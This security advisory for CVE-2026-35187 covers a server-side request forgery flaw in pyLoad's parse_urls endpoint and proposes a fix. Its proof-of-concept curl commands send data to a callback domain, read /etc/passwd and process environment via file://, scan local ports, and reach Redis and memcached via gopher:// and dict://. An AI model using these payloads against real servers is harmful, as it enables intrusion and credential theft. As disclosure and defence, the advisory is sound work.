CVE-2026-35187: pyLoad has SSRF in parse_urls API endpoint via unvalidated URL parameter

Published Apr 4, 2026
·
Updated

Vulnerability Details

CWE-918: Server-Side Request Forgery (SSRF)

The parseurls API function in src/pyload/core/api/init.py (line 556) fetches arbitrary URLs server-side via geturl(url) (pycurl) without any URL validation, protocol restriction, or IP blacklist. An authenticated user with ADD permission can:

- Make HTTP/HTTPS requests to internal network resources and cloud metadata endpoints - Read local files via file:// protocol (pycurl reads the file server-side) - Interact with internal services via gopher:// and dict:// protocols - Enumerate file existence via error-based oracle (error 37 vs empty response)

Vulnerable Code

src/pyload/core/api/init.py (line 556):

python def parseurls(self, html=None, url=None): if url: page = geturl(url) # NO protocol restriction, NO URL validation, NO IP blacklist urls.update(REURLMATCH.findall(page))

No validation is applied to the url parameter. The underlying pycurl supports file://, gopher://, dict://, and other dangerous protocols by default.

Steps to Reproduce

Setup

bash docker run -d --name pyload -p 8084:8000 linuxserver/pyload-ng:latest

Log in as any user with ADD permission and extract the CSRF token:

bash CSRF=

PoC 1: Out-of-Band SSRF (HTTP/DNS exfiltration)

bash curl -s -b "pyloadsession8000=<SESSION>" -H "X-CSRFToken: " -H "Content-Type: application/x-www-form-urlencoded" -d "url=http://ssrf-proof.<CALLBACKDOMAIN>/pyload-ssrf-poc" http://localhost:8084/api/parseurls

Result: 7 DNS/HTTP interactions received on the callback server (Burp Collaborator). Screenshot attached in comments.

PoC 2: Local file read via file:// protocol

bash Reading /etc/passwd (file exists) -> empty response (no error) curl ... -d "url=file:///etc/passwd" http://localhost:8084/api/parseurls Response: {}

Reading nonexistent file -> pycurl error 37 curl ... -d "url=file:///nonexistent" http://localhost:8084/api/parseurls Response: {"error": "(37, \'Couldn't open file /nonexistent\')"}

The difference confirms pycurl successfully reads local files. While parseurls only returns extracted URLs (not raw content), any URL-like strings in configuration files or environment variables are leaked. The error vs success differential also serves as a file existence oracle.

Files confirmed readable: - /etc/passwd, /etc/hosts - /proc/self/environ (process environment variables) - /config/settings/pyload.cfg (pyLoad configuration) - /config/data/pyload.db (SQLite database)

PoC 3: Internal port scanning

bash curl ... -d "url=http://127.0.0.1:22/" http://localhost:8084/api/parseurls Response: pycurl.error: (7, 'Failed to connect to 127.0.0.1 port 22')

PoC 4: gopher:// and dict:// protocol support

bash curl ... -d "url=gopher://127.0.0.1:6379/INFO" http://localhost:8084/api/parseurls curl ... -d "url=dict://127.0.0.1:11211/stat" http://localhost:8084/api/parseurls

Both protocols are accepted by pycurl, enabling interaction with internal services (Redis, memcached, SMTP, etc.).

Impact

An authenticated user with ADD permission can:

- Read local files via file:// protocol (configuration, credentials, database files) - Enumerate file existence via error-based oracle (Couldn't open file vs empty response) - Access cloud metadata endpoints (AWS IAM credentials at http://169.254.169.254/, GCP service tokens) - Scan internal network services and ports via error-based timing - Interact with internal services via gopher:// (Redis RCE, SMTP relay) and dict:// - Exfiltrate data via DNS/HTTP to attacker-controlled servers

The multi-protocol support (file://, gopher://, dict://) combined with local file read capability significantly elevates the impact beyond a standard HTTP-only SSRF.

Proposed Fix

Restrict allowed protocols and validate target addresses:

python from urllib.parse import urlparse import ipaddress import socket

def issafeurl(url): parsed = urlparse(url) if parsed.scheme not in ('http', 'https'): return False hostname = parsed.hostname if not hostname: return False try: for info in socket.getaddrinfo(hostname, None): ip = ipaddress.ipaddress(info[4][0]) if ip.isprivate or ip.isloopback or ip.islinklocal or ip.isreserved: return False except (socket.gaierror, ValueError): return False return True

def parseurls(self, html=None, url=None): if url: if not issafeurl(url): raise ValueError("URL targets a restricted address or uses a disallowed protocol") page = geturl(url) urls.update(REURLMATCH.findall(page))

Other sources

pyLoad is a free and open-source download manager written in Python. In 0.5.0b3.dev96 and earlier, the parseurls API function in src/pyload/core/api/init.py fetches arbitrary URLs server-side via geturl(url) (pycurl) without any URL validation, protocol restriction, or IP blacklist. An authenticated user with ADD permission can make HTTP/HTTPS requests to internal network resources and cloud metadata endpoints, read local files via file:// protocol (pycurl reads the file server-side), interact with internal services via gopher:// and dict:// protocols, and enumerate file existence via error-based oracle (error 37 vs empty response).

— MITRE

Affected Software

2 affected components
pip/pyload-ng<=0.5.0b3.dev96
Pyload-ng Project Pyload-ng Python<0.5.0b3.dev97

Event History

Apr 4, 2026
Advisory Published
via GitHub·04:18 AM
Data Sourced
via GitHub·04:18 AM
DescriptionSeverityWeaknessAffected Software
Apr 6, 2026
CVE Published
via MITRE·07:33 PM
Data Sourced
via MITRE·07:33 PM
DescriptionSeverityWeakness
Data Sourced
via NVD·08:16 PM
DescriptionSeverityWeakness
Data Sourced
via NVD·08:16 PM
RemedyAffected Software

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203